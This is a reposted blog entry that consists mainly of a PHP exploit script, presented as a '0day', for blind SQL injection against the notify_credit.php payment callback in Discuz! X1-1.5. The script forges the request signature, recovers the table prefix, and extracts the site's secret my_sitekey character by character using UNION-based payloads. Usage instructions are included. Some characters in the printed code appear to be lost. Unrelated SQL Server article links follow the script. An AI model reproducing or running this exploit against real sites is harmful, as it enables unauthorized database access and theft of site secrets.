DiscuzX1-1.5 Sql 0day!!

简介:

 RT~

 
  1. <?php 
  2. print_r(' 
  3. +---------------------------------------------------------------------------+ 
  4. Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit 
  5. by toby57    2010.11.05 
  6. mail: toby57 at 163 dot com 
  7. team: http://www.wolvez.org 
  8. +---------------------------------------------------------------------------+ 
  9. '); 
  10. if ($argc < 2) { 
  11.     print_r(' 
  12. +---------------------------------------------------------------------------+ 
  13. Usage: php '.$argv[0].' url [pre] 
  14. Example: 
  15. php '.$argv[0].' http://localhost/ 
  16. php '.$argv[0].' http://localhost/ xss_ 
  17. +---------------------------------------------------------------------------+ 
  18. '); 
  19.     exit
  20. error_reporting(7); 
  21. ini_set('max_execution_time', 0); 
  22. $url = $argv[1]; 
  23. $pre = $argv[2]?$argv[2]:'pre_'
  24. $target = parse_url($url); 
  25. extract($target); 
  26. $path .= '/api/trade/notify_credit.php'
  27. $hash = array(); 
  28. $hash = array_merge($hash, range(48, 57)); 
  29. $hash = array_merge($hash, range(97, 102)); 
  30.  
  31. $tmp_expstr = "'"
  32. $res = send(); 
  33. if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');} 
  34. preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match); 
  35. if($match[1])$pre = $match[1]; 
  36. $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='"
  37. $res = send(); 
  38. if(strpos($res,"doesn't exist")!==false){ 
  39.     echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n"
  40.     for($i = 1;$i<20;$i++){ 
  41.     $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='"
  42.     $res = send(); 
  43.  
  44.     if(strpos($res,'SQL syntax')!==false){   
  45.  
  46.     $pre = ''
  47.     $hash2 = array(); 
  48.     $hash2 = array_merge($hash2, range(48, 57)); 
  49.     $hash2 = array_merge($hash2, range(97, 122)); 
  50.     $hash2[] = 95; 
  51.     for($j = 1;$j <= $i$j++){ 
  52.     for ($k = 0; $k <= 255; $k++) { 
  53.     if(in_array($k$hash2)) { 
  54.     $char = dechex($k); 
  55.     $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='"
  56.     $res = send(); 
  57.     if(strpos($res,'SQL syntax')!==false){ 
  58.         echo chr($k); 
  59.         $pre .= chr($k);break
  60.     }  
  61.     }  
  62.     }     
  63.     }     
  64.     if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');}; 
  65.     }    }    }; 
  66. echo "Please Waiting....\n"
  67. $sitekey = ''
  68. for($i = 1;$i <= 32; $i++){ 
  69.   for ($k = 0; $k <= 255; $k++) { 
  70.     if(in_array($k$hash)) { 
  71.     $char = dechex($k); 
  72. $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='"
  73. $res = send(); 
  74. if(strpos($res,'SQL syntax')!==false){ 
  75.         echo chr($k); 
  76.         $sitekey .= chr($k);break
  77. }}}} 
  78. if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..'); 
  79. echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}"
  80. exit
  81.  
  82. function sign($exp_str){ 
  83.     return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key="); 
  84.  
  85. function send(){ 
  86.     global $host$path$tmp_expstr
  87.      
  88.     $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr); 
  89.     $data  = "POST $path HTTP/1.1\r\n"
  90.     $data .= "Host: $host\r\n"
  91.     $data .= "Content-Type: application/x-www-form-urlencoded\r\n"
  92.     $data .= "Content-Length: ".strlen($expdata)."\r\n"
  93.     $data .= "Connection: Close\r\n\r\n"
  94.     $data .= $expdata
  95.     $fp = fsockopen($host, 80); 
  96.     fputs($fp$data); 
  97.     $resp = ''
  98.     while ($fp && !feof($fp)) 
  99.         $resp .= fread($fp, 1024); 
  100.     return $resp
  101. }   
  102. ?> 

 










本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/579638,如需转载请自行联系原作者

相关文章
|
5月前
|
SQL Oracle 关系型数据库
选择适合您网站的 SQL 托管:MS SQL Server、Oracle、MySQL
如果您希望您的网站能够存储和检索数据,您的Web服务器应该能够访问使用SQL语言的数据库系统。以下是一些常见的SQL托管选项:
57 2
|
SQL PHP 数据库
php连接sqlserver,php连接sql server数据库,php查询sqlserver数据库,php用sqlserver数据库
php连接sqlserver,php连接sql server数据库,php查询sqlserver数据库,php用sqlserver数据库
240 0
|
SQL 安全 数据挖掘
【SQL学习】SQL Server 2014 安装教程
【SQL学习】SQL Server 2014 安装教程
404 0
【SQL学习】SQL Server 2014 安装教程
|
SQL 数据库 数据安全/隐私保护
SQL SERVER2014的安装
sqlserver2014安装 启动安装程序 下载sqlserver2014,双击startup.exe进行安装   系统配置检查器   使用系统配置检查器,看系统是否符合安装sqlserver2014的所有要求   开始安装 然后点击安装,全新sqlserver独立安装或向现有安装添加功能 ...
1551 0
|
SQL 数据库
SQL Server 2008将数据导出为脚本 [SQL Server]
之前我们要将一个表中的数据导出为脚本,那么只有在网上找一个导出数据的Script,然后运行就可以导出数据脚本了。现在在SQL Server 2008的Management Studio中增加了一个新特性,除了导出表的定义外,还支持将表中的数据导出为脚本。
933 0
|
SQL 数据安全/隐私保护 Windows